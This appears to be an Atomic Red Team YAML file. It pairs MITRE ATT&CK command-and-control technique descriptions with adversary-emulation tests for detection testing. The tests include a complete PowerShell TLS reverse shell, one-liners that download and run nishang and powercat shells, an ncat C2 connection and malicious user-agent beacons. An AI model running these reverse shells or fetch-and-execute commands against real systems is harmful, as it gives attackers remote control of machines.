        SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)

        In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118
      created: '2020-03-16T15:33:01.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1573
        external_id: T1573
      - source_name: SANS Decrypting SSL
        description: Butler, M. (2013, November). Finding Hidden Threats by Decrypting
          SSL. Retrieved April 5, 2016.
        url: http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
      - source_name: SEI SSL Inspection Risks
        description: Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved
          April 5, 2016.
        url: https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1573
    atomic_tests:
    - name: OpenSSL C2
      auto_generated_guid: 21caf58e-87ad-440c-a6b8-3ac259964003
      description: |
        Thanks to @OrOneEqualsOne for this quick C2 method.
        This is to test to see if a C2 session can be established using an SSL socket.
        More information about this technique, including how to set up the listener, can be found here:
        https://medium.com/walmartlabs/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926

        Upon successful execution, powershell will make a network connection to 127.0.0.1 over 443.
      supported_platforms:
      - windows
      input_arguments:
        server_ip:
          description: IP of the external server
          type: string
          default: 127.0.0.1
        server_port:
          description: The port to connect to on the external server
          type: string
          default: '443'
      executor:
        command: |
          $server_ip = #{server_ip}
          $server_port = #{server_port}
          $socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}')
          $stream = $socket.GetStream()
          $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
          $sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $false)
          $writer = new-object System.IO.StreamWriter($sslStream)
          $writer.Write('PS ' + (pwd).Path + '> ')
          $writer.flush()
          [byte[]]$bytes = 0..65535|%{0};
          while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
          {$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
          $sendback = (iex $data | Out-String ) 2>&1;
          $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
          $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
          $sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}
        name: powershell
  T1102.002:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4
      type: attack-pattern
      created: '2020-03-14T22:34:03.024Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1102.002
        url: https://attack.mitre.org/techniques/T1102/002
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      modified: '2021-04-29T14:49:39.188Z'
      name: Bidirectional Communication
      description: "Adversaries may use an existing, legitimate external Web service
        as a means for sending commands to and receiving output from a compromised
        system over the Web service channel. Compromised systems may leverage popular
        websites and social media to host command and control (C2) instructions. Those
        infected systems can then send the output from those commands back over that
        Web service channel. The return traffic may occur in a variety of ways, depending
        on the Web service being utilized. For example, the return traffic may take
        the form of the compromised system posting a comment on a forum, issuing a
        pull request to development project, updating a document hosted on a Web service,
        or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism
        for C2 may give a significant amount of cover due to the likelihood that hosts
        within a network are already communicating with them prior to a compromise.
        Using common services, such as those offered by Google or Twitter, makes it
        easier for adversaries to hide in expected noise. Web service providers commonly
        use SSL/TLS encryption, giving adversaries an added level of protection. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: 'Host data that can relate unknown or suspicious process
        activity using a network connection is important to supplement any existing
        indicators of compromise based on malware command and control signatures and
        infrastructure or the presence of strong encryption. Packet capture analysis
        will require SSL/TLS inspection if data is encrypted. Analyze network data
        for uncommon data flows (e.g., a client sending significantly more data than
        it receives from a server). User behavior monitoring may help to detect abnormal
        patterns of activity.(Citation: University of Birmingham C2)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1573.002:
    technique:
      modified: '2023-12-26T20:59:21.941Z'
      name: Asymmetric Cryptography
      description: |-
        Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.

        For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_deprecated: false
      x_mitre_detection: |-
        SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)

        In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada
      created: '2020-03-16T15:48:33.882Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1573/002
        external_id: T1573.002
      - source_name: SANS Decrypting SSL
        description: Butler, M. (2013, November). Finding Hidden Threats by Decrypting
          SSL. Retrieved April 5, 2016.
        url: http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
      - source_name: SEI SSL Inspection Risks
        description: Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved
          April 5, 2016.
        url: https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1095:
    technique:
      modified: '2023-09-29T21:07:31.570Z'
      name: Non-Application Layer Protocol
      description: |-
        Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

        ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_contributors:
      - Ryan Becwar
      - Duane Michael
      x_mitre_deprecated: false
      x_mitre_detection: "Analyze network traffic for ICMP messages or other protocols
        that contain abnormal data or are not normally seen within or exiting the
        network.(Citation: Cisco Blog Legacy Device Attacks)\n\nAnalyze network data
        for uncommon data flows (e.g., a client sending significantly more data than
        it receives from a server). Processes utilizing the network that do not normally
        have network communication or have never been seen before are suspicious.
        Analyze packet contents to detect communications that do not follow the expected
        protocol behavior for the port that is being used.(Citation: University of
        Birmingham C2) \n\nMonitor and investigate API calls to functions associated
        with enabling and/or utilizing alternative communication channels."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Network
      x_mitre_version: '2.3'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      type: attack-pattern
      id: attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b
      created: '2017-05-31T21:31:10.728Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1095
        external_id: T1095
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      - source_name: Cisco Synful Knock Evolution
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
      - source_name: Microsoft ICMP
        description: Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics.
          Retrieved December 1, 2014.
        url: http://support.microsoft.com/KB/170292
      - source_name: Cisco Blog Legacy Device Attacks
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
      - source_name: Wikipedia OSI
        description: Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved
          December 4, 2014.
        url: http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1095
    atomic_tests:
    - name: ICMP C2
      auto_generated_guid: '0268e63c-e244-42db-bef7-72a9e59fc1fc'
      description: |
        This will attempt to  start C2 Session Using ICMP. For information on how to set up the listener
        refer to the following blog: https://www.blackhillsinfosec.com/how-to-c2-over-icmp/
      supported_platforms:
      - windows
      input_arguments:
        server_ip:
          description: The IP address of the listening server
          type: string
          default: 127.0.0.1
      executor:
        command: |
          IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')
          Invoke-PowerShellIcmp -IPAddress #{server_ip}
        name: powershell
    - name: Netcat C2
      auto_generated_guid: bcf0d1c1-3f6a-4847-b1c9-7ed4ea321f37
      description: "Start C2 Session Using Ncat\nTo start the listener on a Linux
        device, type the following: \nnc -l -p <port>\n"
      supported_platforms:
      - windows
      input_arguments:
        server_port:
          description: The port for the C2 connection
          type: integer
          default: 80
        ncat_exe:
          description: The location of ncat.exe
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\T1095\nmap-7.80\ncat.exe
        ncat_path:
          description: The folder path of ncat.exe
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\T1095
        server_ip:
          description: The IP address or domain name of the listening server
          type: string
          default: 127.0.0.1
      dependency_executor_name: powershell
      dependencies:
      - description: 'ncat.exe must be available at specified location (#{ncat_exe})

          '
        prereq_command: 'if( Test-Path "#{ncat_exe}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -ItemType Directory -Force -Path "#{ncat_path}" | Out-Null
          $parentpath = Split-Path (Split-Path "#{ncat_exe}"); $zippath = "$parentpath\nmap.zip"
          Invoke-WebRequest  "https://nmap.org/dist/nmap-7.80-win32.zip" -OutFile "$zippath"
            Expand-Archive $zippath $parentpath -Force
            $unzipPath = Join-Path $parentPath "nmap-7.80"
          if( $null -eq (Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | ?{$_.DisplayName -like "Microsoft Visual C++*"}) ) {
            Start-Process (Join-Path $unzipPath "vcredist_x86.exe")
          }
      executor:
        command: 'cmd /c "#{ncat_exe}" #{server_ip} #{server_port}

          '
        name: powershell
    - name: Powercat C2
      auto_generated_guid: 3e0e0e7f-6aa2-4a61-b61d-526c2cc9330e
      description: "Start C2 Session Using Powercat\nTo start the listener on a Linux
        device, type the following: \nnc -l -p <port>\n"
      supported_platforms:
      - windows
      input_arguments:
        server_ip:
          description: The IP address or domain name of the listening server
          type: string
          default: 127.0.0.1
        server_port:
          description: The port for the C2 connection
          type: integer
          default: 80
      executor:
        command: |
          IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')
          powercat -c #{server_ip} -p #{server_port}
        name: powershell
  T1001.003:
    technique:
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc
      type: attack-pattern
      created: '2020-03-15T00:40:27.503Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1001.003
        url: https://attack.mitre.org/techniques/T1001/003
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      modified: '2021-04-29T14:49:39.188Z'
      name: Protocol Impersonation
      description: "Adversaries may impersonate legitimate protocols or web service
        traffic to disguise command and control activity and thwart analysis efforts.
        By impersonating legitimate protocols or web services, adversaries can make
        their command and control traffic blend in with legitimate network traffic.
        \ \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look
        like subsequent traffic is SSL/TLS encrypted, potentially interfering with
        some security tooling, or to make the traffic look like it is related with
        a trusted entity. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used.(Citation: University of Birmingham C2)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1090.004:
    technique:
      modified: '2023-03-30T21:01:52.356Z'
      name: Domain Fronting
      description: |-
        Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).

        For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_contributors:
      - Matt Kelly, @breakersall
      x_mitre_detection: 'If SSL inspection is in place or the traffic is not encrypted,
        the Host field of the HTTP header can be checked if it matches the HTTPS SNI
        or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking
        Resistent Communication through domain fronting 2015)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2
      created: '2020-03-14T23:29:19.581Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1090/004
        external_id: T1090.004
      - source_name: Fifield Blocking Resistent Communication through domain fronting
          2015
        description: David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern
          Paxson. (2015). Blocking-resistant communication through domain fronting.
          Retrieved November 20, 2017.
        url: http://www.icir.org/vern/papers/meek-PETS-2015.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
    atomic_tests: []
  T1132:
    technique:
      modified: '2023-04-21T12:20:20.711Z'
      name: Data Encoding
      description: 'Adversaries may encode data to make the content of command and
        control traffic more difficult to detect. Command and control (C2) information
        can be encoded using a standard data encoding system. Use of data encoding
        may adhere to existing protocol specifications and includes use of ASCII,
        Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation:
        Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)
        Some data encoding systems may also result in data compression, such as gzip.'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_contributors:
      - Itzik Kotler, SafeBreach
      x_mitre_deprecated: false
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used. (Citation: University of Birmingham C2)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f
      created: '2017-05-31T21:31:43.540Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1132
        external_id: T1132
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      - source_name: Wikipedia Binary-to-text Encoding
        description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved
          March 1, 2017.
        url: https://en.wikipedia.org/wiki/Binary-to-text_encoding
      - source_name: Wikipedia Character Encoding
        description: Wikipedia. (2017, February 19). Character Encoding. Retrieved
          March 1, 2017.
        url: https://en.wikipedia.org/wiki/Character_encoding
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1132.002:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc
      type: attack-pattern
      created: '2020-03-14T23:39:50.117Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1132.002
        url: https://attack.mitre.org/techniques/T1132/002
      - url: https://en.wikipedia.org/wiki/Binary-to-text_encoding
        description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved
          March 1, 2017.
        source_name: Wikipedia Binary-to-text Encoding
      - url: https://en.wikipedia.org/wiki/Character_encoding
        description: Wikipedia. (2017, February 19). Character Encoding. Retrieved
          March 1, 2017.
        source_name: Wikipedia Character Encoding
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      modified: '2021-04-29T14:49:39.188Z'
      name: Non-Standard Encoding
      description: 'Adversaries may encode data with a non-standard data encoding
        system to make the content of command and control traffic more difficult to
        detect. Command and control (C2) information can be encoded using a non-standard
        data encoding system that diverges from existing protocol specifications.
        Non-standard data encoding schemes may be based on or related to standard
        data encoding schemes, such as a modified Base64 encoding for the message
        body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation:
        Wikipedia Character Encoding) '
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used.(Citation: University of Birmingham C2)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1071.001:
    technique:
      modified: '2024-04-16T12:28:21.234Z'
      name: 'Application Layer Protocol: Web Protocols'
      description: "Adversaries may communicate using application layer protocols
        associated with web traffic to avoid detection/network filtering by blending
        in with existing traffic. Commands to the remote system, and often the results
        of those commands, will be embedded within the protocol traffic between the
        client and server. \n\nProtocols such as HTTP/S(Citation: CrowdStrike Putter
        Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic
        may be very common in environments. HTTP/S packets have many fields and headers
        in which data can be concealed. An adversary may abuse these protocols to
        communicate with systems under their control within a victim network while
        also mimicking normal, expected traffic. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_contributors:
      - TruKno
      x_mitre_deprecated: false
      x_mitre_detection: "Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect application
        layer protocols that do not follow the expected protocol standards regarding
        syntax, structure, or any other variable adversaries could leverage to conceal
        data.(Citation: University of Birmingham C2)\n\nMonitor for web traffic to/from
        known-bad or suspicious domains. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      type: attack-pattern
      id: attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161
      created: '2020-03-15T16:13:46.151Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1071/001
        external_id: T1071.001
      - source_name: CrowdStrike Putter Panda
        description: 'Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike
          Intelligence Report: Putter Panda. Retrieved January 22, 2016.'
        url: http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      - source_name: Brazking-Websockets
        description: Shahar Tavor. (n.d.). BrazKing Android Malware Upgraded and Targeting
          Brazilian Banks. Retrieved March 24, 2023.
        url: https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1071.001
    atomic_tests:
    - name: Malicious User Agents - Powershell
      auto_generated_guid: 81c13829-f6c9-45b8-85a6-053366d55297
      description: "This test simulates an infected host beaconing to command and
        control. Upon execution, no output will be displayed. \nUse an application
        such as Wireshark to record the session and observe user agent strings and
        responses.\n\nInspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat\n"
      supported_platforms:
      - windows
      input_arguments:
        domain:
          description: Default domain to simulate against
          type: string
          default: www.google.com
      executor:
        command: |
          Invoke-WebRequest #{domain} -UserAgent "HttpBrowser/1.0" | out-null
          Invoke-WebRequest #{domain} -UserAgent "Wget/1.9+cvs-stable (Red Hat modified)" | out-null
          Invoke-WebRequest #{domain} -UserAgent "Opera/8.81 (Windows NT 6.0; U; en)" | out-null
          Invoke-WebRequest #{domain} -UserAgent "*<|>*" | out-null
        name: powershell
    - name: Malicious User Agents - CMD
      auto_generated_guid: dc3488b0-08c7-4fea-b585-905c83b48180
      description: "This test simulates an infected host beaconing to command and
        control. Upon execution, no out put will be displayed. \nUse an application
        such as Wireshark to record the session and observe user agent strings and
        responses.\n\nInspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat\n"
      supported_platforms:
      - windows
      input_arguments:
        domain:
          description: Default domain to simulate against
          type: string
          default: www.google.com
        curl_path:
          description: path to curl.exe
          type: path
          default: C:\Windows\System32\Curl.exe
      dependency_executor_name: powershell
      dependencies:
      - description: "Curl must be installed on system \n"
        prereq_command: 'if (Test-Path #{curl_path}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://curl.se/windows/dl-8.6.0_2/curl-8.6.0_2-win32-mingw.zip" -Outfile "PathToAtomicsFolder\..\ExternalPayloads\curl.zip"
          Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\curl"
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\curl\curl-8.6.0_2-win32-mingw\bin\curl.exe" #{curl_path}
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\curl"
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\curl.zip"
      executor:
        command: |
          #{curl_path} -s -A "HttpBrowser/1.0" -m3 #{domain} >nul 2>&1
          #{curl_path} -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain} >nul 2>&1
          #{curl_path} -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain} >nul 2>&1
          #{curl_path} -s -A "*<|>*" -m3 #{domain} >nul 2>&1
